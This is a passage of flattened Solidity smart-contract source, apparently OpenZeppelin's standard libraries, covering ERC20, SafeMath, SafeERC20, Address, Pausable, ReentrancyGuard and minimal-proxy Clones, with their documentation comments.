(bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create opcode, which should never revert. */ function clone(address master) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `master` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(master, salt, address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with 